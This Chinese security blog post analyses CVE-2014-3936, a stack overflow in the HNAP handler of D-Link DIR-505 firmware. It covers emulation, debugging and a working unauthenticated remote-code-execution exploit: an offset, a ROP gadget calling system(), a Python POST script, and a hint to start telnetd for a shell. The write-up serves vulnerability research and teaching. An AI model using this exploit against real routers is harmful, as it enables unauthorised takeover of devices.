CVE-2014-3936 dir-505 数组越界缓冲区溢出

阅读量428195

|评论1

|

发布时间 : 2021-12-17 15:29:57

 

漏洞分析

CVE-2014-3936 是发生在 dlink 旗下路由器 dir-505 的缓冲区溢出漏洞,漏洞存在于固件版本 1.07 及以前的 HNAP 处理程序中,漏洞发生在 HNAP 处理请求的时候,将 CONTENT_LENGTH 大小的数据直接复制到了缓冲区中,如果 CONTENT_LENGTH 大小超过了缓冲区大小,就会导致缓冲区溢出,进而实现代码执行。总之,是一个数组越界导致缓冲区溢出的漏洞。

此次漏洞分析采用的是 dir-505 固件版本 1.07,漏洞下载地址见参考链接。通过分析固件的文件系统,可以知道服务器采用的是 lighttpd 作为后端,lighttpd 也是嵌入式设备经常使用的一个小型 http server。发生漏洞的程序是 ./usr/bin/my_cgi.cgi,使用的是 fastcgi 调用过程,当收到 uri 为 HNAP1 的数据包时,会将数据包通过环境变量和标准输入 STDIN 传给 my_cgi.cgi 进行处理。

漏洞发生的位置是在 main -> do_hnap 函数中,do_hnap 函数在从环境变量中读取数据的时候,先读取数据包长度 CONTENT_LENGTH,然后根据其大小,通过一个循环,从标准输入中每次读取一个字节放在函数栈上的缓冲区中。如果 CONTENT_LENGTH 过大,就会导致缓冲区溢出,实际上就是数据包的数据够多,就会发生缓冲区溢出。IDA 中反编译的关键流程如下:

int do_hnap() 
{  
  dec_content_length = 0;
  content_length = getenv("CONTENT_LENGTH");    // 从环境变量获取 CONTENT_LENGTH
  if ( content_length )
    dec_content_length = strtol(content_length, 0, 10); // 将 CONTENT_LENGTH 转化为 10 进制
  ...
  if ( dec_content_length > 0 )
  {
    loop_pointer = v12;                         // 指向 buf 的起始位置
    end_of_buf = &v12[dec_content_length];      // 指向 buf 的结束位置
    memset(v12, 0, sizeof(v12));                // 对 buf 清零
    while ( stdin->_fileno )
    {
      v6 = stdin->_IO_write_base;
      if ( v6 >= stdin->_IO_write_end )
      {
        v8 = (int (**)(FILE *))&_fgetc_unlocked;// v8 实际上是一个函数指针
LABEL_21:
        v7 = ((int (*)(void))v8)();             // 调用 fgetc
        goto LABEL_22;
      }
      v7 = *v6;
      stdin->_IO_write_base = v6 + 1;
LABEL_22:
      *loop_pointer++ = v7;                     // 将 fgetc 读取到的字符写入到 buf
      if ( loop_pointer == end_of_buf )            // 结束从 STDIN 中读取
      {
        ...
      }
    }
    v8 = &fgetc;

在 do_hnap 函数中,函数执行完毕后的返回地址在初始化堆栈的时候存放在 sp + 0x7574,缓冲区的起始地址是 sp + 0x30,那么一共需要 30020 个字节使缓冲区溢出,再额外溢出 4 个字节就可以修改保存再堆上的返回地址,最后 do_hnap 函数执行完毕将返回地址从栈中取出到 ra 寄存器然后跳转,就可以达到劫持控制流的目的。缓冲区的起始地址可以从 IDA 直接反编译得到。

.text:00430DBC sw      $ra, 0x7560+var_s14($sp)    # 保存返回地址到栈上
...
.text:00431168 lw      $ra, 0x7574($sp)    # 从栈上恢复返回地址跳转执行
...
.text:00431184 jr      $ra
.text:00431188 addiu   $sp, 0x7578

 

环境搭建

后端的 server 是 lighttpd,一开始没有在固件根目录下面找到 html 文件,在 cq 师傅的提醒下,先分析系统的启动脚本 ./etc/rc.d/rcS。在启动脚本中,挂载一些设备和创建相关目录,然后是系统初始化程序 system_manager 运行,在其中也会通过 system 函数执行一些命令。如下是系统初始化脚本。

#!/bin/ash

# This script runs when init it run during the boot process.
# Mounts everything in the fstab
mount -a
mount -o remount +w /

# Mount the RAM filesystem to /tmp
mount -t tmpfs tmpfs /tmp

# 此处会覆盖掉原来的 etc 目录
# copy all files in the mnt folder to the etc folder
cp -a /mnt/* /etc

ln -sf /etc/hotplug/hotplug /sbin/hotplug

mkdir -p /var/etc
mkdir -p /var/firm
mkdir -p /var/log
mkdir -p /var/misc
mkdir -p /var/run
mkdir -p /var/sbin
mkdir -p /var/tmp
mkdir -p /tmp/var

# 系统初始化程序
#/bin/echo "Init System..."
system_manager &

#/bin/echo "Start tftpd..."
tftpd &

将系统初始化程序 system_manager 放入 IDA 分析,在 main -> init_system -> init_web_server -> init_html_files 中可以看到是如何将原本存放在 mnt 目录下的 html 文件解压出来的,那我们在启动 lighttpd 之前就可以手动执行相关的命令,将 html 文件准备好。

int init_html_files()
{
  system("tar -zxf /etc/www.tgz");
  system("rm -f /etc/www.tgz");
  if ( !byte_416321 )
    system("mv /www/ap/* /www");
  system("rm -rf /www/ap");
  if ( byte_416321 == 2 )
    system("mv /www/rt/* /www");
  system("rm -rf /www/rt");
  if ( byte_416321 == 3 )
    system("mv /www/rpt/* /www");
  system("rm -rf /www/rpt");
  if ( byte_416321 == 4 )
    system("mv /www/whp/* /www");
  system("rm -rf /www/whp");
  system("cp -f /usr/bin/my_cgi.cgi /www");
  copy_default_xml();
  return read_lang_from_flash();
}

最后是看 system_manager 是如何启动 lighttpd 的,可以在 IDA 中直接搜索字符串 lighttpd,定位到 init_web_server 函数中,然后分析 system 函数传入的参数,就可以得到 lighttpd 的启动命令 lighttpd -f /etc/lighttpd/lighttpd.conf。此处如果直接 F5 的话,分析得到的 system 传入命令不完整。

.text:00403C00 addiu   $a0, (aLighttpdFS - 0x400000)  # "lighttpd -f %s &"
.text:00403C04 addiu   $a1, (aEtcLighttpdLig_0 - 0x400000)  # "/etc/lighttpd/lighttpd.conf"
.text:00403C08 jr      $t9 ; _system
.text:00403C0C addiu   $sp, 0x20

以上是分析工作,实际上真正启动服务器,可以先直接执行启动脚本 ./etc/rc.d/rcS,执行完之后,./etc 目录被原本 ./mnt 中的文件替代了,html 文件被解压出来放在了 ./www 文件夹中。运行如下命令,就可以启动 http 服务了。

# 进入固件根目录
chroot . ./etc/rc.d/rcS
# 再执行一遍 system_manager 这个地方会卡住 因为有些 /dev 没有被挂载,例如 nvram
chroot . ./usr/bin/system_manager
# 启动 lighttpd,-D 不进入后台运行
chroot . ./usr/bin/lighttpd -f ./etc/lighttpd/lighttpd.conf -D

 

漏洞复现

上述的环境搭建其实是不完善的,例如登录操作这种需要 nvram 的根本执行不了,好在这次漏洞是一个无需认证的漏洞。我没有找到在 lighttpd 中是怎么调用的 my_cgi.cgi,那就直接调试 cgi,通过环境变量传入数据进行调试。

幸运的是,可以直接使用 QEMU 进行调试这个漏洞,漏洞的触发过程也不涉及到额外的 patch 工作。首先分析如何才能使代码执行到 do_hnap 函数中存在漏洞的代码处。在 main 函数中,需要设置环境变量 SCRIPT_NAME = HNAP1,使之进入 do_hnap 函数,然后设置环境变量 SOAP_ACTION != (Reboot | SetRouterLanSettings | SetWLanRadioSecurity | SetWLanRadioSettings),也就是不等于以上四者。最后设置环境变量 CONTENT_LENGTH 控制从标准输入读入到缓冲区的字节数目。

触发漏洞的调试脚本如下,补充说明一下需要将 qemu-mips-static 程序复制到固件的根目录下,这样 chroot 的时候才可以正确使用 qemu-mips-static 进行调试。

# sudo ./debug_mycgi.sh
#!/bin/bash

export SCRIPT_NAME="HNAP1"
export SOAP_ACTION="soap"
export CONTENT_LENGTH="30028"

STDIN=`python -c "print 'A'*30020 + 'deadbeef'"`
echo "$STDIN" | chroot . ./qemu-mips-static -g 12345 ./usr/bin/my_cgi.cgi

路由器上的程序安全措施通常非常简单,没有 NX 也没有 PIE,此处就直接使用 ret2syscall 来达到命令执行的操作,在 IDA 中使用 mipsrop 插件搜索合适的 gadget,决定使用 0x00405C5C 处。

.text:00405C5C la      $t9, system
.text:00405C60 li      $s1, loc_430000
.text:00405C64 jalr    $t9 ; system
.text:00405C68 addiu   $a0, $sp, 0x64+var_3C  # command

当劫持了控制流执行到 gadget,堆栈已经从 do_hnap 函数中恢复了平衡,通过计算,system 函数执行的命令保存在相对于 buf 30064 个字节处,总结就是:buf 写入 30020 个字节之后可以覆盖返回地址到 gadget 0x00405c5c,再写入 40 个字节可以写入 system 函数执行的命令,那么先用 python 脚本写入一个 stdin 文件,然后在调试脚本中通过 cat 输出文件内容,通过管道传递给 qemu

# python poc.py
cmd = b'touch test\x00'
with open('./stdin', 'wb') as f:
    poc = 30020 * b'A' + b'\x00\x40\x5c\x5c' + 40 * b'B' + cmd
    f.write(poc)
# sudo ./debug_mycgi.sh
#!/bin/bash

export SCRIPT_NAME="HNAP1"
export SOAP_ACTION="soap"
export CONTENT_LENGTH="30080"

cat ./stdin | chroot . ./qemu-mips-static -g 12345 ./usr/bin/my_cgi.cgi

使用 gdb-multiarch 连接上 target remote :12345,然后在 do_hnap 函数恢复返回地址到 ra 寄存器处下断点 b *0x431168,可以看到执行完当前指令后,ra 被写入为 gadget 地址 0x405c5c

继续单步调试到执行 gadget,调用 system 函数,执行的命令保存在 sp + 0x28 处。

可以看到成功命令执行,创建了 test 文件

 

漏洞利用

如上的漏洞复现调试是针对与 my_cgi.cgi,而真实运行环境是通过 lighttpd 服务器接受用户发送请求数据包,然后将数据通过环境变量以及 STDIN 传递给 my_cgi.cgi 进行处理,漏洞发生也是在这个地方,那么漏洞利用需要构造数据包向 lighttpd 传递。初次之外,还需要看固件支持哪些命令,例如此处的 busybox 支持的命令如下:

BusyBox v1.01 (2013.05.23-09:13+0000) multi-call binary

Usage: busybox [function] [arguments]...
   or: [function] [arguments]...

        BusyBox is a multi-call binary that combines many common Unix
        utilities into a single executable.  Most people will create a
        link to busybox for each function they wish to use and BusyBox
        will act like whatever it was invoked as!

Currently defined functions:
        [, arping, ash, brctl, busybox, cat, chmod, cp, cut, date, dd,
        df, dirname, du, echo, egrep, fdisk, fgrep, find, free, grep,
        head, hostname, ifconfig, init, insmod, kill, killall, klogd,
        linuxrc, ln, logger, login, logread, ls, lsmod, md5sum, mkdir,
        mount, mv, nslookup, ping, ps, reboot, rm, rmmod, route, sed,
        sh, sleep, syslogd, tar, telnetd, test, tftp, touch, tr, tty,
        umount, uname, vconfig, vi, wc, wget, xargs, zcip

那么简洁版的 exp 如下,执行结果是直接写回了到返回数据包中。

import requests
cmd = b'ls -l\x00'
poc = 30020 * b'A' + b'\x00\x40\x5c\x5c' + 40 * b'B' + cmd
res = requests.post(url='http://127.0.0.1:80/HNAP1/', data=poc)
print(res)

通过 busybox 支持的命令也可以看到,有 telnetd,如果在实体机上要获取到一个可交互的 shell,那么可以开启设备的 telnet 服务。

 

个人小结

如下是个人觉得可以加深对于程序执行流程理解的一些点:

  • do_hnap 函数中循环的控制及 MIPS 架构 s 系列寄存器的用法寄存器 s0~s7 通常是用来在子函数内部使用,如果在子函数内部还需要调用函数,那么需要将这些寄存器的值保存在栈上,执行完调用函数后进行恢复。例如 s0~s7 在 main 函数中使用,当 main 函数调用 do_hnap 的时候,在 do_hnap 函数的初始化堆栈时,将寄存器保存到了栈上。因此,我们在缓冲区溢出的时候,有时候不止可以控制 ra 寄存器,还可以控制 s 系列寄存器。
    # do_hnap 函数初始化过程
    .text:00430DAC li      $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0 - .)
    .text:00430DB4 addu    $gp, $t9
    .text:00430DB8 addiu   $sp, -0x7578
    .text:00430DBC sw      $ra, 0x7560+var_s14($sp)
    .text:00430DC0 sw      $s4, 0x7560+var_s10($sp)
    .text:00430DC4 sw      $s3, 0x7560+var_sC($sp)
    .text:00430DC8 sw      $s2, 0x7560+var_s8($sp)
    .text:00430DCC sw      $s1, 0x7560+var_s4($sp)
    .text:00430DD0 sw      $s0, 0x7560+var_s0($sp)
    ...
    # do_hnap 函数执行完毕 
    .text:00431168 lw      $ra, 0x7574($sp)
    .text:0043116C move    $v0, $s0
    .text:00431170 lw      $s4, 0x7570($sp)
    .text:00431174 lw      $s3, 0x756C($sp)
    .text:00431178 lw      $s2, 0x7568($sp)
    .text:0043117C lw      $s1, 0x7564($sp)
    .text:00431180 lw      $s0, 0x7560($sp)
    .text:00431184 jr      $ra
    .text:00431188 addiu   $sp, 0x7578
    

    那么现在回归正题,do_hnap 函数是使用的 s0 指向 buf 的起始地址,s1 指向 buf 的结束位置,s3 指向标准输入的起始地址。循环的结构使用 IDA 的控制流图看的话,就非常简介明了。s0 先指向 buf 起始地址,每次调用 fgetc 读取一个字符保存到 s0,然后 s0 自加指向下一个位置,直到 s0 指向结束地址。

    .text:00430F9C la      $s3, stdin       # 标准输入存储在 s3 寄存器
    .text:00430FA0 move    $s0, $a0            # s0:指针指向 buf 的起始位置
    .text:00430FA4 addu    $s1, $a0, $s1    # s1:指针指向 buf 的结束位置
    ...
    .text:00431010 sb      $v0, 0($s0)        # 将从 fgetc 读取到的字符存储到缓冲区
    .text:00431014 addiu   $s0, 1           # s0 移动到缓冲区下一个位置
    .text:00431018 bne     $s0, $s1, loc_430FB4    # 比较进行跳转
    
  • 关于 server 的启动命令分析可以分析固件文件系统的初始化启动脚本,通常在 /etc/rc* 文件或者目录下,就可以得到设备启动时执行了哪些初始化工作,例如挂载设备、创建文件等等。此处还有解压 html 文件,应该为了节省设备的存储空间,第一次启动的时候进行解压。
  • 关于漏洞利用执行结果回显如果设备固件中带有一些可以进行交互的程序例如 sshd、telnetd 等服务,那么命令执行可以通过这些程序直接获取到一个可交互的 shell,如果没有,可以考虑把执行结果写回到设备的 www 目录中的文件,通过 http 服务访问命令执行结果。

 

参考链接

本文由OneShell原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/261344

安全客 - 有思想的安全新媒体

分享到:微信
+13赞
收藏
OneShell
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66